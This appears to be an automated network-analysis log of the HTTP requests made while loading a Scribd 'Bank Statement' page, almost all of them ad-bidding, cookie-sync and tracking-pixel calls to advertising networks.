Source: global traffic	HTTP traffic detected: GET /v/1.0/avjp?ju=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ch=UTF-8&res=1280x1024x24&ifr=true&tz=300&tws=1232x910&be=1&bc=hb_pb_3.0.3&dddid=d7fbe8dd-ab72-4643-ac59-7845269b4959&nocache=1739863212676&us_privacy=1-N-&id5id=ID5dsF5z4SopjWg7L46Fh5We-K61R1MHFQXiSSNBFS3nvH6ZRBBBLkJ9vyYHEqnVbgh&pubcid=2e964d33-a208-43d9-b632-88592ff664dd&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&auid=561342919&vwd=300&vht=169&aucs=adUnit_9&aumfs=2700 HTTP/1.1Host: freestar-d.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /*Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dadnxs%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /live/liveInternalSsp.php?sspData=%7B%22enc%22%3Atrue%2C%22comp%22%3Atrue%2C%22data%22%3A%22%5C%22rJmgW%2F1m2eeS%2Fzf65713BfoG2JAsAjygTiN1QgKrg790ZFhATbmgY8fx6V9%2FHa1YxtycxmTg9N4outEweVon1r6wyVv9GU3rDAYoWhHmToCiaw%2F7%2FVD8HxmkhWo5uKWd2yNFpsPyv2xuGSRFx%2FMODWp8b8p0V4W%2Bc4gi1O9B%2B3hy6lPimruAx7CU6%2BLAxFG2XOxO%2FGuPFqYySrvRHub%2Bj7EXwfl4Zr3yXUzgZKSWLGT1udW0OM9Af6Y5g3SBdznynTohD6O%2BPjw6%2Futq6%2BZLWeQ9B3dMJCgXZPCWFdoy1qmQc3TDEfcNN7dY3%2FKDeRcJXF%2FmQb5A6ofdozcavzv6cNNVVnkZfmZERW3dP7I8RQgTuV7OoO3NVd0n2xzR0fmQOFj%2F0KczuZ5HsPcrHjJ325K8WZCEN5UmlC2nKsvsxeUV0gQ3EG1%2FvUxjVSsFF5Zy5M1tFbd%2BiP8mAazay%2FvQQjutqk4dbdF6iI2G%2F8LXsyyz9CON3mPjz4XBdB9EtfX7q5pak7JDL2PXGIo3yvoXuWtvVYzSzr%2BP%2BzAg%2B5lTBnzYl%2BIjXRdntTpM%2B0NeoBzkbk96%2FZE%2FQIh2myFromTfr15xK0yZ7gYKKumTNfWfubAqRjPucMaTmPWEFrqyLR9arN%2Fp3PTecGJk2x8KGMjfLZJGWD0rk140DfoDIsk9NvH5qW%2FOCZph4Y5xmbhKXyU77AOV5kXoxOThiMuYpeqoxPdpgBClVQXec1yR7eIogbAF3C%2Fp7ODDhTZid5NgfmXEFV3QlwXUF1VWSZZ2My%2BU8mIg9Zv1xKJtWhS16mzOaXlx56Sh35cWjaVNqZKUWeznzSu4xFyneAzmdgjWRFPq0Luz3Ebilrv1pN0OXU0TAIXGpbOz86KcEgi46NlOgSv3Bgf0wwVFb3tYDMzYkGxUz0o0yy8BV47SFisCvVdc6z4%2FLA179V2rqEYI9giNaA6PDfJ%2Fc%2FUf%2FDKpF%2BVsH5rw42E0W4Usnr995F%2F4J%2B9zs%2FmJ5iPTlWjr5Jg30nrLlWRlsP373hoh%2F98q%2Fc1%2FvJqlrqOzn4Bs6jIwq1sWwOXXqaXlkSdJqlt%2FQo9LceKJE5o2vjc49SvJBaQiGdZB0CMDo9joBhyrL46CQW88DipGv0WESxy8s8RzKPuU0UIFT9%2FPfhKGqzOGyMoN8vusFNWn8J2OKYlakTDsD8suWLgUE2rfXbaJ1GianG8ER1HOiHR5Xp17ck%2Bf4ZB1SqtlolWXYb%2BDYCT7oAg4RZJeBj7nVeOK%2Fw0y5ZitABKEtkx%2Bb7YOIjxONKqIBudD%2FVQW%2BdNBGI0wGm6VFY1ZryeX5VGr0ghOTclWkxW326rUgLCecd2%2B4PGBKqSpKyW2n8VA1ZjSiyXVByhb%2FSvd77qmZJV1Wyl3nt7X7JtqVtCLQDzaVU6lSXNHd6gq8E%2BuF3sgAjNuG11sJKalYm31EV46KEeMdGHSes3FJG0XCJS61eUdltbW1wK3DWb6l4cCG8Ctw0Vq9oh5bJi5vyQUYyZ0uivzJXI73HLXxyQ8q6kcm2JhcqzZOd%2B%2FZjPKr1YhwCGMjw1eCwRPljJd7TU2zBNLwFyuMBf5wK3sVrQMFc7XvFDU8LhfnPNveAvf%2BXhZyW1ALfJRj6kz%2BTKTP%2FXUmLPCvorABtw%2BXnhOH7Q5hseT3O4oqLlP4S12WAGeZjWt9SvirUWJNJkts0GlGdORVcWf7Mc4oliyO5ElREZt2v6PGhgmSLzNl6RG1KxZLCcKn06d7ieclOVHbTWjyQ4MJSl3n4PLDt6jZaWs08QhQC43Dnl72JxF5%2BGqx5ZJVlqec8eOmDtY%2BfMXty%2FJnQs87bXsB79h%2B18IsdW4PkB%2BrpVtbRyo8K8ApOB7Zys6KABrFcf%2Bx9cSxV6kAWJWcG%2FLskIS%2B074hjhK7WohIZl1bTmPoihB1qSfHbBlRccERwoBeG6jC2U4SIHrt4Oub%2FMHpPpyWq%2FD4Rqt%2FvupNxSOfWNmCMw5sHF2%2BeybhEXRZlC1NbqXcP5JSB16bkqCnfXcHyJHah%2Fox5CaI3W3%2Fn%2BD1EepH4wUIc667rsUOnPcRfaupKuH8DvQFyi1LnAzDDci95A%2FK1wGwh9RjsI3I2HMFhc6FCr%2Bsg9RyjkFUYxa5WKPw4tFS9cUYNC7tnf%2Fyr3D0sGTGT8DO%2FV2%2BRU7skZ2DvM54usATfycB3nOk1Yam8FOg%2F0iuJ1S3FsfsMXOH4Oq7VzL%2B7quhIp%2FDdOhlT4BW31gfE8BV141e9w6FGkgRjRfHr150cd%2FH1fVc%2FiYCzOjh8FaYGha%2Fn%2BDeUepe2Ce%2BCNP2qpmjoVn3sHVhfwNKrfhtLWa948B2J91OhBouLlHa%2FBC64oskE%2FgIjI%2Fr9ut9%2F3dgf%2BQFKB320%2FFmcZq8kRzDlOzZxsKR7B71K6sx6Vwzwwtx7xqXmaVgvTPANi28P%2B%2FLZB9fpumgPqS56hK0l50DJlDbrrtb9P%2BV0LHo5liswp61tJUOJJNzhXdPj8tRVT8KIDfRyrsLdOLY373kkNOV2OrVs37lcb1OYO71fI2Zuh%2FPn68U4rVo%2B9OlfH13P77%2B%2B2w1ush5liaev%2FT0mPt%2BK%2FT2ZU3PEi5a2sDt0%2B%2BV%2F6RslHmvqTIM9C3Psy%2FRq8H0HsfdX8Ziu99Fnpq6Dfr4S%2FL70Bsg%2F2it75K3B%2B4739UnBc63uOQFlZXVCh2
Source: global traffic	HTTP traffic detected: GET /ima.js HTTP/1.1Host: cdn-ima.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /e/dtb/bid?src=600&u=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&pid=huhthjvhyAwzr&cb=0&ws=1x1&v=25.205.027&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A400%2C%22id%22%3A%22aps_primis_oustream_ron%22%2C%22mt%22%3A%22v%22%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Microsoft+Edge%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%222045%22%2C%2247%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&schain=1.0%2C1%21freestar.com%2C1651%2C1%2C%2C%2C&sm=5858eef9-e2a5-4b60-835f-2c3e73ea163a&pubid=0ab198dd-b265-462a-ae36-74e163ad6159&gdprl=%7B%22status%22%3A%22no-cmp%22%2C%22cmpTimeout%22%3A75%7D&vm=%7B%22ids%22%3A%7B%2233across%22%3A%22v1.0013300001cFpYHAA0.1038.Q8NmvhCtpWh2jnmq%2FN8p16GmYmiWIakJbstbc1UkKKxDcghP%2BwAZK0DkUCs2msFU%2BiFG0AsyP4rOCOZhlRbOgXQhq02%2BzIILAeAQEWJ4Y0QP5Chg1oq5mt4zOKiQKLBinyMRjb5RDOqGau60iIlH6e7AcrG1pLsMb6FR8xNeg%2FyA1CuOTV1aCrKbtDCihCQMqa58URxomqUHaNEUBZ0AS1FvKvwZSottpwBbMlkMs1f0SfKPotpysSYl5IAV0M2baY9%2B49Dv22LOahJXUd%2Ftc18xm%2BrQCZW4IbEVDDNORtZf6kQhTjc49qrvT6CgtTdNt5k8mP05B68Ou5JeFqNPp%2BYeXRpBGH7gECeCs4DfA6NAhxMnQ%2BE4POTLqhADOsxnkE1dwyim%2FduGX36ucyluJuO4LTK0FIXnNMb2Ws35XNkcK8hq0q5lVdkK1oHXN127md%2B5TtnjAzZn2trq9%2Bga5DMQjYiqzKXzEjRNcyZsSt0WC9kRWeWr%2B8ljp22B4s7gfUDKnShHVGpkriOW%2F2CcTlSl6uyuIGTv0jOybbssx23zjJ%2FcLx8NLGAriMPZQY3%2FfcOcfZd5d1m1MrR7K6TsUvJC2bTGkExG2Bpi8%2BQlhDyzmICTk2w8oKJ8%2F1nkZta03t8ATFX8yvA2PXQIs62x6SVW%2FRSdxMzk%2FsnDG%2BRgqt%2BiP97cbhiF9c35LflfQfEQrbMtFzVXBwCaddj9WNzxbkpgmY37yn%2BOzWgfBOO%2FxR6cPE5DaaBf%2BaZkRlQCtu%2F4HAdfY2em1oHqvf3XFpQYzbk4XzV%2FdHGHmW%2Fli96J%2BGCLMN%2BEN3jeAztCoBUSRDQbLUBgCo1sIEKniXnBYQNVcgGs6p6ahkO4J3mqzajuOGJ1rz7tucb5X0VmdiFswd2on4YfBcBkV3F95qyw99esf%2F1bw7s3wlFSY%2BWSI%2Be2EfYQXooV759lQEA5kgGEaM6Kv3vFCCKrNkdLZuEJDo7vdb7UjJOH3xdSYiruSxVk0XIZ9Xem4ASwwtv4uRV3TpcRWZo7Z1Ozu1J8j6DABDHQmMpaICyqV%2FxyWNhiOthjJybal6WemzRbMd5m9EyIWOtx09E3vPuHDwIcb%2BvhuQ4r8uoHr5W8Lt7ftJq9%2F%2Bk2qndzaIj%2Bzz7eE2tqEsxRYZRtd3s5%2BdQKXO4LRsv7CtSioGu3e0L6UvH%2FOzvs9oUw1Pf3pSwTRfSdranx%2FmoNRbeZ%2FCMp0VCBQn8SwsoNVWNJ6WmQYjoOl3OXqHKAyePgOFWM5gGKOwOCekPDt2WjIgHBe7xueTX8kMpxS5PhYKCJpsOb4MZt01wvCn4FcFY3BDbem%2BJp49c5%2BeHpGge5d%2BcUWvPvHBIa%2FOxDZkR7rt%2BdWcUZgUESgT7L%2Bkix4b5p46A4%2F2%2BbCbSyp0aa9vmXOkvw7FUXmMF1FQo8qqTTSkoxsQ%3D%3D%22%2C%22audigent%22%3A%220001yum0ea99jha6clfcgeaikjhlll68igi8eiflgfabackkc2jl%22%2C%22fabrick%22%3A%22E1%3ANR7kGsgTmTdZ3ApVVZS6SYbB02fLb_GWccchRFbsdeWJpg3WfgVJPxdlGeycOGXRzOPPwD-TaoNPqAvzRC0aF-PmnBTYRKs7n3whV5_vEac7TM2WXCTrg3trOx7VYRAz%22%2C%22id5%22%3A%22ID5*dsF5z4SopjWg7L46Fh5We-K61R1MHFQXiSSNBFS3nvH6ZRBBBLkJ9
Source: global traffic	HTTP traffic detected: GET /api/1.0/id5-api.js HTTP/1.1Host: cdn.id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /syn?redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Daxonix%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3DxxEMODO_IDxx HTTP/1.1Host: openrtb-us-east-1.axonix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bootstrap/bootstrap.js HTTP/1.1Host: cdn.browsiprod.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: de.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel;r=358473678;labels=title.Bank%20Statement%2Ctitle.Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine%2Ctitle.Bank%20Statement;rf=0;a=p-UeXruRVtZz7w6;url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement;ns=0;ce=1;qjs=1;qv=53b98956-20250121164344;ref=;dst=1;et=1739863211001;tzo=300;ogl=site_name.Scribd%2Ctitle.Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine%2Ctype.website%2Curl.https%3A%2F%2Fwww%252Escribd%252Ecom%2Fdocument%2F806838445%2FBank-Statement%2Ctitle.Bank%20Statement%2Cdescription.Scribd%20is%20the%20world's%20largest%20social%20reading%20and%20publishing%20site%252E%2Cimage.https%3A%2F%2Fimgv2-1-f%252Escribdassets%252Ecom%2Fimg%2Fdocument%2F806838445%2Foriginal%2F9a56996329%2F1%3F%2Cimage%3Aalt.Bank%20Statement%2Cimage%3Awidth.1200%2Cimage%3Aheight.630%2Cimage%3Atype.image%2Fwebp;ses=c44133b4-a64c-470c-8650-9157520283b6;d=scribd.com;uht=2;fpan=1;fpa=P0-702075309-1739863211008;pbc=;gdpr=0;us_privacy=1-N-;gpp=DBACOe~CQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA~BQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA~1-N-;gpp_sid=6;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=12776 HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /?pubid=11280&gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D93%26advUuid%3D%7Bviewer_token%7D HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
